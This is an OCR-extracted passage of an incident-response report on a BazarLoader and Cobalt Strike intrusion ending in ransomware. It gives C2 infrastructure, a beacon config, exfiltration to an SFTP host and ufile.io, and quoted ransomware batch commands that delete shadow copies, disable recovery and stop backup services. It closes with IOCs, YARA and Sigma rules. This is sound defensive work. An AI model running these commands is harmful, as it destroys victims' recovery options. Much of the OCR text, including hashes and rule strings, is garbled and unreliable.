JA3: 72a589da586844d7f0818ce684948eea
JA3s: 3f48aac872bldbe54fa3547535ec9d43

Certificate: [be:b3:98:a3:a2:ce:e0:63:0b:7a:02:34:13:5b:0a:b5:4a:a4:21:71 ]
Not Before: 2021/10/18 14:47:32 UTC

Not After: 2022/10/18 14:47:32 UTC

Issuer Org: A afak FA+rat Ltd.

Subject Common: masomo.com

Subject Org: A afak FA+rat Ltd.

Public Algorithm: id-ecPublicKey

Curve: prime256vi

Cobalt Strike C2:

hiduwu.com
108.62.141.87:443
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https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15
https://thedfirreport.com/cdn-cgi/l/email-protection
https://thedfirreport.com/cdn-cgi/l/email-protection

JA3: a0e9f5d64349fb13191bc781f81f42el
JA3s: aed4edc6faf64d08308082ad26be60767

Certificate: [a5:4e:ed:32:cd:76:a3:97:6b:ad:al1:df:42:36:6d:38:54:4c:ab:4e ]
Not Before: 2021/09/29 00:00:00 UTC

Not After: 2022/09/29 23:59:59 UTC

Issuer Org: Sectigo Limited

Subject Common: hiduwu.com [hiduwu.com ,www.hiduwu.com ]

Public Algorithm: rsaEncryption

gawocag.com

23.81.246.32:443

JA3: a0e9f5d64349fb13191bc781f81f42el
JA3s: aed4edc6faf64d08308082ad26be60767

Certificate: [32:be:aa:28:c6:bc:f3:f6:cf:31:c5:e5:2a:bf:1a:cl1:a4:70:d1:6b ]
Not Before: 2021/10/11 00:00:00 UTC

Not After: 2022/10/11 23:59:59 UTC

Issuer Org: Sectigo Limited

Subject Common: gawocag.com [gawocag.com ,www.gawocag.com ]

Public Algorithm: rsaEncryption
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{
"x64": {
"sha256": "Och20cf74f9c5896442¢c82f875€9221cae606ffal24e53d013b8d13b6988f8cc",
"uri_queried": "/fvwad",
"config": {
"Spawn To x86": "%windir%\\syswow64\\rundl132.exe",
"Watermark": 1580103814,
"C2 Host Header": "",
"HTTP Method Path 2": "/sm",
"Beacon Type'": "8 (HTTPS)",
"Method 1": "GET",
"Spawn To x64": "%windir%\\sysnative\\rundll32.exe",
"Method 2": "POST",
"C2 Server": "gawocag.com,/nd",
"Jitter": 10,
"Port": 443,
"Polling": 5000
}I
"shal": "72db453adlab5ea483e5046864f3a8c295e7fef4",
"time": 1634637833485.8,
"md5": "abd213722fae891f54c28640d751200f"

+
"x86": {
"sha256": "b08ae2fec4c0c64113947c14d9ab6f4a3e61a9d60e182b59e20b5b3606d8569",
"uri_queried": "/C5jz",
"config": {
"Spawn To x86": "%windir%\\syswow64\\rundl1l32.exe",
"Watermark": 1580103814,
"C2 Host Header": "",
"HTTP Method Path 2": "/sm",
"Beacon Type'": "8 (HTTPS)",
"Method 1": "GET",
"Spawn To x64": "%windir%\\sysnative\\rundl1l32.exe",
"Method 2": "POST",
"C2 Server": "gawocag.com,/nd",
"Jitter": 10,
"Port": 443,
"Polling": 5000
}I
"shal": "f3003f34c9cb595e94fa632b537bf5a76869954d",
"time": 1634637826726,
"md5": "3303703eef699663fd3f0982922e8e30"
}

Exfiltration

On the second day of the intrusion, FileZilla was installed on one of the servers which used
SFTP to exfiltrate data to a remote computer at IP address 192.52.167.210.

Using Netflow, we were able to confirm that some amount of data (~200MB) was exfiltrated out
of the environment.

25/39



S nfdump -R
Src IP Addr

" -A srcip,dstip -0 bytes -o 'fmt:%sa :%da :%byt'
Dst IP Addr Bytes
192.52.167.210 : 203.1 M

= /D

192.52.167.210 :

2.0 M
192.52.167.210

65575

'host 192.52.167.210'

192.52.167.210 : 28886

Here we can see the threat actor actively exfiltrating our information using FileZilla.

-_—

| B stp/root®192.52.167.210 - FileZilla

- O
File Edit View Transfer Server Bookmarks Help
ol sl | = = — T
M —-— ﬁ ]2 it = k4 o)

Hest: | sftp//192.52.167.21] Username: | root Password: | ssssssss Part:

W16.0.10379.2004 3 stream . o4, en-ws.dat
Chatus: File transfer successful, transferred econds

Shatus: Starting upload of s .'J!.hr:-[:'Ll\'.l.llﬂcrl'.!. JOffice) Data

W16.0.10379.2004 3 stream.obd x-nonec
Status: File transfer successful, transfemed

Status: Disconnected from server
Local site: w + | Remobe site: | / rm'.l_-_
Systemn Volume Information # root
Tools T .cache
Users T loca
-2 I ?
- All Users +
Default ?
Default User ?
T
a
Fublee Filename Filesize Filetype
E Windews .
fneew < Office File folder
Filename Filesize Filetype s
B 3D Objects File folder
AppData File folder N
£ » £

7 files and 23 directones. Total size: 2 482, 106 bytes

Tfiles and & directonies, Total size EE—.?JJ: h:,-'f:s

Server/Local file Direction Remote file

Size Priomty  Status
B shpe/iroor@192.52.167.210

2> froot/ | Office’.. 17727285 Mormal  Transfering

00:2%:44 elapsed 01:07:52 left - 23.4% 414,908,416 bytes (325.8 KiB/s)

£

Queued files (1)

Failed transfers Successful transfers (242)

We also saw the threat actors exfiltrate databases by dragging and dropping information into

FileZilla.
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https://thedfirreport.com/wp-content/uploads/2021/12/8099-d6.png

Home

Share View
rer | e — «_ J:" lg &« T « MSSQL13. I MsSsQL » DATA
Host: 5ftp:--'192.52.16._.21| Username: Name
- # Quick access
Status: Retrieving directory listing.. [a master
Status: Listing directory /root Il Deskiop | mastiog
Status: Directory listing of "/root" s 4 Downloads ~
Status: Retrieving directory listing « E model
Status: Listing directory /root/arbo :| Documents | modellog
Status: Directory listing of "/root/a = Pictures =] MS AgentSigning Castificate
Local site: ” MSDEData
[ This PC Z [ 11]
-/ MSDBLeg
: All Users m¥ Network F3 tempdb
+ Default 4 templog
Default User - .
1 ackup
Filename Fi
J 3D Objects
AppData
Application Data
[25 Contacts
" Ankise
L4
T files and 23 directories. Total size: 2,539
Server/Local file Direct
11 items 11 items selected 677 MB
<

Queued files = Failed transfers  Successful transfers

After pivoting to a Domain Controller, the threat actors dumped Isass using Task Manager:

data.win.eventdata.image

iindc

And then uploaded the dump file to ufile.io using Internet Explorer on a server. @ @

data.win.eventdata.targetFilename

oW D U oW o @

o m ™

smon - Event 11: FileCreate by

27/39


https://ufile.io/

e © https//ufileio/ ~ @ & | Search..

@ Ufile.ic - Upload files for fre... % || | o

From files, images, music, video and more — Uploadfiles is a free and easy way to share your
data

O

As a guest user, your file upload(s) will be hosted for a maximum of 30 days

Looking for permanent file hosting? Create a free account and unlock the full set of file sharing features with 10GB of

97.91MBE / 165.8 MB
Isass.DMP

Titems 1 item selected 158 MB ==

Impact

On the third day, the threat actors began their final actions. The final actions took place from a
compromised file server. They began with a ping sweep to locate all live hosts. After that
completed, they reviewed the results on the host.
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s6uid: {cc9ce2B8b-4bce-617a-aB827-8
528
:\Windows

pany: Micros
iginalFileName :

ParentPr
ParentPr
ParentImage: C:\Wi

-

ParentCommandLine: C

From a file server, the threat actors then established RDP connections to all the machines in
the environment. The threat actors transferred 2 files onto the machines they connected to. A
batch script named kill.bat and a ransomware executable CryptoLocker64.exe.

The batch script is responsible for deletion of volume shadow copies, turning off automatic
repairs and stopping all the running services on the host. Some of the commands are as
follows:

sc config "Netbackup Legacy Network service" start= disabled
bcdedit /set {default}

bcdedit /set {default} recoveryenabled No
vssadmin.exe Delete Shadows /all /quiet
wmic.exe Shadowcopy Delete

net stop "Zoolz 2 Service" /y

net stop "Veeam Backup Catalog Data Service" /y
net stop "Symantec System Recovery" /y

net stop "SQLsafe Filter Service" /y

net stop "SQLsafe Backup Service" /y

net stop "SQL Backups" /y

net stop "Acronis VSS Provider" /y

net stop VeeamDeploySvc /y

net stop BackupExecVSSProvider /y

net stop BackupExecRPCService /y

net stop BackupExecManagementService /y

net stop BackupExecJobEngine /y

net stop BackupExecDeviceMediaService /y

After completion of this activity, the ransomware binary was executed manually over the RDP
connections.
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"Process Create:
RuleName: technique_id=T1284, technique_name=User Execution
UtcTime:

Product: -

Company: -

OriginalFileName: -

CommandLine: rogramData\CryptoLocker64.

ParentFroc

ParentProce:

ParentImage: C:\Wi xplorer .exe
ParentCommandLine: C:\Windows\Explorer.EXE"

From the threat actors starting their ping sweep, to final host encryption, about an hour passed
leaving behind the ransom note for the organization to find. The threat actors went from initial
access to domain wide ransomware in just under two days.

| README_FOR_DECRYPT - Notepad

File Edit Format View Help
#H#EWha t happened? #H#

———————————————— # How toget my files back? #----------------

1. Download Tor Browser from original site : https://torproject.org

2. Open this url in Tor Browser and ge to discuss - https: /S

I0Cs

Network

30/39


https://thedfirreport.com/wp-content/uploads/2021/12/8099-13-r.png
https://thedfirreport.com/wp-content/uploads/2021/12/8099-r4-r.png

BazarlLoader
turkcell[.]info
159.223.31[.]75
206.189.49[.]239

Cobalt Strike
23.81.246[.]32
gawocag.com
108.62.141[.]87
hiduwu.com

SFTP Exfiltration

192.52.167[.]210
23.152.0[.]22

File
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Bazar

Documents.1lnk

4d8af5ba95aa23f7162b7bbf8622d801
d5b8c1a219686be5b75e58c560609023b491d9aa
e8719f378590b95delblef2aaab84e1d00f210fd6aaf5025d815T33096c9d162

SharedFiles.dll

fb88f4d22f14ca®9ddeeca5d312f4d9of
734205a694689db504418101b91c9981e3a12deb
cl7e71c7ael5fdb02a4e22df4f50fb44215211755effd6e3fc56e7f3e586b299

Cobalt Strike

uvvfvnnswte.dll

69c68c62844966115c13dfee2e7bc58c
7f49ecaebelc59c09587cee25fh8844c78a78665
5551fb5702220dfc05e0811b7c91e149c21ecOle8ca210d1602e32decele464d

tmp.dll

56¢c552097559echafedd5683038ca480
dc0699b1d1c5a99b75334b69dafce5fe86bcf6al
493a1fbe833c419b37bb345T61193517d5d9fd2577f09cc74b48b49d7d732a54

Tools

AdFind.exe

9b02dd2alal5e94922he3f85129083ac
2ch6ff75b38a31f241f3b60a2742b6F4d6027T0f2a
b1102ed4bcab6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682

Rubeus.exe

6798 f540f3d077c3cda2f5a4a8559f7
40e8b046031f168b034c322be6c8bOafasa9e89ac
0e09068581f6ed53d15d34fff9940dfc7ad224e3ce38ac8dlcalo57aeel3e3feb

fodhelper_reg_hashes.bat

1e81900cc66fde050aef4c3149f1a375
£334b1b95f315f994c82da572e7ach68df4bl7ed
9809bcObead9bbfe31d47210391b124a724288b061d44dee5edc5e2582e36b271

MSSQLUDPScanner .exe

e6bef068c93cacdae7fl15eded63461da
0390each29a580adf9870dbd3412f91d984a3197
bc88ae2c3353ee858a0dcdcd087bcd55f3c7eab0c702f7b295d2836565073730

veeaml.cs.exe

32d6f85c93bad9fadf3edala8e80016
6e7628cd11dc76835e8cc0b2a91dc38101fcdb90
07f4a3297280d2896e1211ea79c73132be3a44e6c88819deal94e582bac18b3d

AnyDesk.exe

bd1c7369830ebd781ed5eade64f8f9e4
465118960bd8bcc744d62e6T464f8bc82c85a9¢e
4a9dde3979c2343c024c6eeeddff7639be301826dd637c006074e04alede9fe?

FilezillaPortable.exe
b56T93850ad1ba921d56fbfcOf6950ca
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6bb01635f68264afb77268dedd4e3ca3125e8c37
3c53ccee435994cd8125bed4bad9cd47dd64a3ffac00cced9327851541¢c50620

Detections

Network

Snort:

ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)

ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage
Download

ET POLICY PE EXE or DLL Windows file download HTTP

ET INFO Packed Executable Download

[1:2850280:1] ETPRO TROJAN Observed Malicious SSL Cert (BazalLoader CnC)
[Classification: A Network Trojan was Detected] [Priority: 1] {TCP}

Sigma

Rule generated by @0xThiebaut's sigmai project

AdFind Usage Detection

Grabbing_Sensitive Hives via Reg_Utility

Credentials Dumping_Tools Accessing LSASS Memory,

Suspicious Reconnaissance Activity

Stop Windows Service

AnyDesk Silent Installation

Rubeus Hack Tool

Yara
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https://gist.github.com/0xThiebaut/66d68ada73e22d45b3ca80fea6ee2922
https://twitter.com/0xThiebaut
https://github.com/0xThiebaut/sigmai
https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_ad_find_discovery.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_grabbing_sensitive_hives_via_reg.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_access/sysmon_cred_dump_lsass_access.yml
https://github.com/SigmaHQ/sigma/blob/f69868b5aa25f33c629208d8868994ed24b20b46/rules/windows/process_creation/win_susp_recon_activity.yml
https://github.com/SigmaHQ/sigma/blob/eb406ba36fc607986970c09e53058af412093647/rules/windows/process_creation/win_service_stop.yml
https://github.com/SigmaHQ/sigma/blob/dd2aa8706dac60e49cbf73a176a72061822fa8cf/rules/windows/process_creation/win_anydesk_silent_install.yml
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_hack_rubeus.yml

/*

YARA Rule Set

Author: The DFIR Report

Date: 2021-12-12

Identifier: files

Reference: 8099 https://thedfirreport.com
*/

/7 RULE St - mm oo o oo */
import "pe"

rule uvvfvnnswte {

meta:
description = "8099 - file uvvfvnnswte.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"

date = "2021-12-12"
hashl = "5551fb5702220dfc05e0811b7c91e149c2lecO0le8ca210d1602e32decele464d"
strings:

$s1 = "(s#u%xOm(m#n&y*r$o&Kk\" j*oPy&x\"k)1#k%y ! 1) y#u%jom%vow)w.n%koq)l.o&p/s*m-
p&u/m*v. q+j%0&s%r+wky&p%s, t&k%q&t, q&u%r 'u, n%w%o%v, s%q%t%w'" ascii

$s2 = "Ow(r#v%1loj (1su\"o*usn&p\"v*p$x&k ! q)k#j%r!x)v#t,y.k%yov)t.r%lop)w-m&o/r*n-
t&r /1) m%Bw+m%bn&X%N+x%X&s&y, s&j%j&p, n&t (q%s, q%v%1%j, t%p%o" ascii

$s3 = "%rov(y#prkok'wa&m\"p*t$m&v\"y*qSk%w!n)jH#g%l!w)w.0)y.1%x0u)j.u%mos*k-
J&N/y*X-s&SOWE&U%X+1%Mm&N%a+y%k%o&v, r&q%t&o, o' o%q%t, p%u%r%m, u%s" ascii

$s4 = "#t%sOu(j#0%]/x$p&I\"q*whvE&Y\"X*r#1%x!0)q#rEk! v(10x)v.m%soOn)m. t%hv/t*1-
k&m/ j *w- r%p%p&ri%y+o%v&q%p+j&l%p&w, y&r%s&n) t%x%n%u, k%n%u%l, n" ascii

$s5 = "#s+r+y+x/o#k, q$l$t%qOx$u.s*j, s01(r&r, uly*p%s!y-y%v'1&v%1%o-q+o%s!k-m)1l!p-
n'r(g(l.t)p\"o+s¥k&v'j*v#w&y/n&q&w&v 'm)s\"r#n/v*w/j*1\"" ascii

$s6 = "%y&U&X!s%k%t%j%m\ " p&m&k%0o%N\"m%1&Vv%t%s\" r%q&u%y, 1/0)u+pOq)y)p)q)r-y)m+x-
o,u,t/u*s,n+1+k0j, t, m+q+tOw, o, Xx+v+y0Ot,y)o*k*j-g*x)j*p*o-" ascii

$sS7 = "-r#Hu&p.w+l#tr, 0%whx%By$n%y-Jj, udy(y, s, r, yswkn-n%v-q)l%1%q%p -
rto/n+k\"r,q)g#r!s(0%l#p&s\"r.n*g&q. k*u#y+s\"j(n*o\"o)w*t)skk#r/1, wHw'u" ascii

$s8 = ", j/j#t(v+1l#s. sBwhxByOx$o%vHU-X, JOLSF/m+n%lek ' k\"1+t-q!p-
X&Y+V/1%Qq%s%ron ' viewkveam, uswty+r+s*s*r*g*p*o*n*m*1*k* j+y+x+w+v+u+t+s!liw'" ascii

$s9 = ", nOmM%sSs(jOn(g#M*vOp.Xx0q'tOW)V)X)y/m-
s (y%o0&m¥%n, wot/1#x (r*k+p)k%pok, v(k$w! t%] *w#x, k(0! y%y#w, J\"1&s (Wkhr ! n*t01Op%kvH#y+p+s)qro%p$
ascii

$s10 = "(1/j#10u$t/nsx0y!pOn$v(k&w,p, t, t,s$w(y-u*ulo, q¥m%k%j, r&mol.s%t%t, p)u-
V, 0&s$j ) s+w%n0l-t&g&O/ WhY&L&S&r.N) X, 0)t.p*w*Xx)uy/m*m\"j"'j#" ascii

$s11 = "/k#u'u)x0Ll'y(yot$la&v*ry%s+ist#p, t, s$w(y-u, o%m&pOp . w%j%q+w%q(q)u-y)s$v%m-
o)o+n!l-t+x+y.n*x+t,y&s's*s\"j.v*t(o*y+y#t/1)v%y&o, q*u(x$" ascii

$s12 = "&q+v.s)m/v#y%w, q, x$0/q,q,0,Nn,n!nON.you$o%t%m) t%w- 0%p%prp%o, u)1%o -
V (k%x%x%wW)u\'"p)o+x+x&q&p, v+tu&u&t&s.m&n\"u.p*u&j, j)sOp+o*s*t#v/x" ascii

$s13 = "+s+r/gq*o0*jol,y, j, k-n+twOx$r,k.x, p,u, roq)o%o-rkw-k(x%j$l%y w-
y)N+18p\"q%y%x . wO0&Yy&1&K&] , yOX%Q&N&U\"1.1*m, )X *y+m* v#t / tSvem&x#w/q+y" ascii

$s14 = "+s%j/t)stw+v(y'u, ], J,q,p&w)x*v, t,s(n(mOp$p, s, Xx+p%¥m%j)n!x-
X%k, p+x%u%r ! m#w)y ! k&J *1\"m&y%q&1*o\"v. j*u+t&g#j&y*x*j+y#t/1)v&y/w, n#v/p" ascii

$s15 = "/vru'yFw(y*y (t&t-x%y%r%sowsq(y)l(t(n(mOp$x&J ' udu&p%j%qBp+w\'"n)1%t%s -
W)y$t%t0o&p&1&K&T*t (Y\"N/V&tL&L&S&r/0%S&S&VAMEM/ VHI 'p)x#t*t*n" ascii

$s16 = "'s%k/m&k&1&mOu$s (mOs*n(nOV)y(r-w,y%u,j.k,y&q'r!t-
t)t%r\"k)o!001&t%s%r¥y ! x-q*uSo&w#1l) r&p&s/u*p$w&o ' m(r*y&k.s)x\"q'g#s*y+p/v(n#w*n" ascii

$s17 = "\"k+m+y+x+w'y(yoOt$l&v* yotSx (wHjom-s&Jj (1%k%1%m-p)lsn&p!x#o!n$n!q-
g&V\"t%j%t%w!o.r*u\"s*k, g&k\"q+u%y%t\"k.u*u(p*x*j+y#t/revém' x#w/" ascii

$s18 = "(k%mtwrw(p#s'r-p+n&rot-o%t%usl+l&k ! x-vrk%1 (u%m%usrk%j%q-o)x, u-
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j)o+k't,j,k,1-q*j, s%l, r-t#o+t+u*v&t&j&r&y&x, o/p\"t*w*x/m+y*s#w/y$q%" ascii
$s19 = "$t#j/v)1%wHnOjlu'k(jSyOw+v!j%r%s, jek(n!j's%y.k%t)t%m\'"qOs-
n)g#y ! r!1s%j)l&v!s$g\"r ' x0y&r*v&w!o0v)x!v\"r\"r&q*w(x!v#m+k!1#j+n%o#k#n" ascii

$s20 = "#t%n)y/q#p(nSr%jor)u(y-1+o0vsj ' s&k) t&g¥k%LEs )m%w-n01%qRp%ko0OvV.r'x!j.t, r+j-

J(j%0.s%l*k+r&l+t*p.j*w*r, j%j&w+o&y, n&u$Ll'n\"t(p#w/y+j)" ascii

condition:
uintl6(0) == 0x5a4d and filesize < 2000KB and
( pe.imphash() == "la4ea0d6f08424c00bbeb4790cdflica7" and (
pe.exports("GhlgallxvchxEpmvydvyzqt") and pe.exports("PyflzyhnwvkaNixwdqktzn") ) or 8
of them )
}
rule files_Rubeus {
meta:
description = "8099 - file Rubeus.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"

date = "2021-12-12"
hashl = "0e09068581f6ed53d15d34fff9940dfc7ad224e3ce38ac8dlcal0s57aee3e3febh"

strings:
$x1 =" Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt]
[/server :BLAH.DOMAIN.COM] [/nowrap]" fullword wide
$x2 = " Rubeus.exe asktgt /user:USER </password:PASSWORD

[/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH" wide
$x3 = "[!] GetSystem() - OpenProcessToken failed!" fullword wide
$x4 =" Rubeus.exe createnetonly
/program:\"C:\\Windows\\System32\\cmd.exe\" [/show]" fullword wide
$x5 = "[!] GetSystem() - ImpersonateLoggedOnUser failed!" fullword wide

$x6 = "[X] You need to have an elevated context to dump other users' Kerberos
tickets :( " fullword wide

$x7 = "[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'"
fullword wide

$x8 = " Dump all current ticket data (if elevated, dump for all users),

optionally targeting a specific service/LUID:" fullword wide

$s9 = "Z:\\Agressor\\github.com-GhostPack\\Rubeus-
master\\Rubeus\\obj\\Debug\\Rubeus.pdb" fullword ascii

$s10 = " Triage all current tickets (if elevated, list for all users),
optionally targeting a specific LUID, username, or service:" fullword wide

$s11 = "[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi"
fullword wide

$s12 = "Action: Dump Kerberos Ticket Data (All Users)" fullword wide

$s13 = "[*] Initializing Kerberos GSS-API w/ fake delegation for target '{0}'"
fullword wide

$s14 = "[*] Listing statistics about target users, no ticket requests being
performed." fullword wide

$s15 = "[X] OpenProcessToken error: {0}" fullword wide

$s16 = "[X] CreateProcessWithLogonW error: {0}" fullword wide

$s17 = "[*] Target service : {0:x}" fullword wide

$s18 = "[*] Target Users : {0}" fullword wide

$s19 = " Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH>

[/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.K" wide

$s20 = " List all current tickets in detail (if elevated, list for all users),

optionally targeting a specific LUID:" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 700KB and
1 of ($x*) and 4 of them
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}

rule SharedFiles {
meta:

description = "8099 - file SharedFiles.dll"

author = "The DFIR Report"

reference = "https://thedfirreport.com"

date = "2021-12-12"

hashl = "c17e71c7ael5fdb02a4e22df4f50fb44215211755effd6e3fc56e7f3e586b299"

strings:

$s1 = "ButtonSkin.dl1l" fullword wide

$s2 = "MyLinks.dll" fullword wide

$s3 = "DraglListCtrl.dl1l" fullword ascii

$s4 = "whoami.exe" fullword ascii

$s5 = "constructor or from Dl11Main." fullword ascii

$s6 = "DINGXXPADDINGPADDINGXXPADDINGPADD" fullword ascii

$s7 = "kLV -{T" fullword ascii

$s8 = "CtrlList1" fullword wide

$s9 = "CtrlList2" fullword wide

$s10 = "CtrlList3" fullword wide

$s11 = "wox)YytbACl_<me*y3X(*[email protected]!X2p2TdHa6+1hooNIN7gNtwhki)

[email protected]*ne7" fullword ascii

$s12 = "QX[gbL" fullword ascii /* Goodware String - occured 1 times */
$s13 = "BasicScore" fullword ascii

$s14 = "[email protected]@" fullword ascii
$s15 = "jLDfSektRC2Fr0iwWNzhbH3AsmBEIwglU" fullword ascii
$s16 = "9t$xt5" fullword ascii /* Goodware String - occured 1 times */

$s17 = "DeAjl=n" fullword ascii
$s18 = "WmaK|IG" fullword ascii
$s19 = "oTRHz R" fullword ascii
$s20 = "VWATAUAVAWLc" fullword ascii

condition:
uintl16(0) == 0x5a4d and filesize < 2000KB and
( pe.imphash() == "c270086ea8ef591ab09b6ccf85dc6072" and pe.exports("BasicScore")
or 8 of them )
}
rule new_documents_2005_iso {
meta:
description = "8099 - file new-documents-2005.iso0"
author = "The DFIR Report"
reference = "https://thedfirreport.com"

date = "2021-11-29"
hashl = "1del1336e311ba4ab44828420b4f876d173634670cOb240c6ccas5babb1d8b0723"

strings:

wide

$x1 = "SharedFiles.dll,BasicScore\"%systemroot%\\system32\\imageres.d11l" fullword

$s2 = "C:\\Windows\\System32\\rundl1l32.exe" fullword ascii
$s3 = "SHAREDFI.DLL" fullword ascii

$s4 = "SharedFiles.d1l1l" fullword wide

$s5 = "C:\\Users\\User\\Documents" fullword wide

$s6 = "DragListCtrl.dll" fullword ascii

$s7 = "MyLinks.d1ll" fullword wide

$s8 = "ButtonSkin.dll" fullword wide

$s9 = "whoami.exe" fullword ascii

$s10 = " .. \\Windows\\System32\\rund1132.exe" fullword wide
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$s11 "User (C:\\Users)" fullword wide
$s12 = " " fullword ascii
$s13 = "DOCUMENT.LNK" fullword ascii

$s14 = "[email protected]" fullword wide

$s15 = ",System32" fullword wide

$s16 = " Type Descriptor'" fullword ascii

$s17 = " constructor or from Dl1lMain." fullword ascii

$s18 = " " fullword ascii

$s19 = "DINGXXPADDINGPADDINGXXPADDINGPADD" fullword ascii

$s20 = " Class Hierarchy Descriptor'" fullword ascii
condition:

uint16(0) == Ox0000 and filesize < 2000KB and
1 of ($x*) and 4 of them

}

rule files_tmp {
meta:
description = "8099 - file tmp.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-12-12"
hashl = "493a1fbe833c419b37bb345f61193517d5d9fd2577f09cc74b48b49d7d732a54"
strings:
$s1 =
"UncategorizedOtherOutOfMemoryUnexpectedEofInterruptedArgumentListTooLongFilenameTooLont
ascii
$s2 = "uncategorized errorother errorout of memoryunexpected end of
fileunsupportedoperation interruptedargument list too longfilename " ascii
$s3 = "kuiigaiusmlytgxxnrtl.dll" fullword ascii

$s4 = "Node.js API crypto.randomFillSync is unavailableNode.js crypto module is
unavailablerandSecure: VxWorks RNG module is not initia" ascii

$s5 = "ctoryoperation would blockentity already existsbroken pipenetwork
downaddress not availableaddress in usenot connectedconnection" ascii

$s6 = "AppPolicyGetProcessTerminationMethod" fullword ascii

$s7 = "keyed events not

availableC:rtzkoghrehbskobagkzngetniywbivatkcfmkxxumjxevfohiuxtzrkjoopvcwassaovngxtdmzb
ascii

$s8 = "keyed events not
availableC:rtzkoghrehbskobagkzngetniywbivatkcfmkxxumjxevfohiuxtzrkjoopvcwassaovngxtdmzb
ascii

$s9 = "attempted to index slice from after maximum usizeattempted to index slice
up to maximum usizeassertion failed: mid <= self.len()" ascii

$s10 = "attempted to zero-initialize type “alloc::string::String’, which is
invalidassertion failed: 0 < pointee_size && pointee_size <=" ascii

$s11 = "attempted to zero-initialize type "&str’, which is invalidassertion
failed: 0 < pointee_size && pointee_size <= isize::MAX as us" ascii

$s12 = "attempted to zero-initialize type “&str’, which is invalidassertion
failed: 0 < pointee_size && pointee_size <= isize::MAX as us" ascii

$s13 = "rno: did not return a positive valuegetrandom: this target is not
supportedC:ehpgbcedommleqfhulhfnkiqvffztwzvxtvorsmuwrtkmtsqdfl" ascii

$s14 = "attempted to zero-initialize type " (*mut u8, unsafe extern \"C\" fn(*mut
u8)) ", which is invalidassertion failed: © < pointee_si" ascii

$s15 = "attempted to index slice from after maximum usizeattempted to index slice
up to maximum usizeassertion failed: mid <= self.len()" ascii

$s16 = "attempted to zero-initialize type “alloc::string::String’, which is

invalidassertion failed: 0 < pointee_size && pointee_size <=" ascii
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$s17 =
"workFileHandleFilesystemLoopReadOnlyFilesystemDirectoryNotEmptyIsADirectoryNotADirecto
ascii

$s18 = "abortednetwork unreachablehost unreachableconnection resetconnection
refusedpermission deniedentity not foundErrorkind" fullword ascii
$s19 = "thread panicked while processing panic. aborting." fullword ascii
$s20 = "internal_codedescription@" fullword ascii
condition:
uint16(0) == Ox5a4d and filesize < 5000KB and
( pe.imphash() == "59el6a2afa5b682bb9692bac873fal0c" and ( pe.exports("EnterD1ll1l")

and pe.exports("alpjxriee") and pe.exports("arcfgsbobtwbjrf") and
pe.exports("asblsmvdudmlwht") and pe.exports("bgttsajxwgwrsai") and
pe.exports("bosaplw") ) or 8 of them )

}
rule Documents {
meta:
description = "8099 - file Documents.lnk"
author = "The DFIR Report"
reference = "https://thedfirreport.com"

date = "2021-12-12"

hashl = "e87f9f378590b95delblef2aaah84e1d00f210fd6aaf5025d815f33096c9d162"
strings:

$x1 = "SharedFiles.dll,BasicScore\"%systemroot%\\system32\\imageres.d1l1l" fullword

wide
$x2 = "C:\\Windows\\System32\\rundl132.exe" fullword ascii
$s3 = "C:\\Users\\User\\Documents" fullword wide
$s4 = " .. \\Windows\\System32\\rundl132.exe" fullword wide
$s5 = "User (C:\\Users)" fullword wide
$s6 = ",System32" fullword wide
$s7 = "Documents" fullword wide /* Goodware String - occured 89 times */
$s8 = "windev2106eval" fullword ascii
$s9 = "%Windows" fullword wide /* Goodware String - occured 2 times */
$s10 = "OwHUSx" fullword ascii
$s11 = "System Folder" fullword wide /* Goodware String - occured 5 times */
condition:
uintl6(0) == 0x004c and filesize < 3KB and
1 of ($x*) and all of them
}
MITRE

¢ Spearphising Link — T1566.002

e BITS Jobs — T1197

o Kerberoasting — T1558.003

¢ AS-REP Roasting — T1558.004

¢ Credentials in Registry — T1552.002

+ Remote Desktop Protocol — T1021.001

» Exfiltration to Cloud Storage — T1567.002
¢ OS Credential Dumping — T1003

o SMB/Windows Admin Shares — T1021.002
o System Owner/User Discovery — T1033
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* Network Service Scanning — T1046
¢ Process Injection — T1055

e PowerShell — T1059.001

e Domain Groups — T1069.002

¢ File and Directory Discovery — T1083
¢ Access Token Manipulation — T1134
¢ Network Share Discovery — T1135

¢ Domain Trust Discovery — T1482

o Data Encrypted for Impact — T1486
¢ Disable or Modify Tools — T1562.001
¢ Valid Accounts — T1078

Internal case #8099
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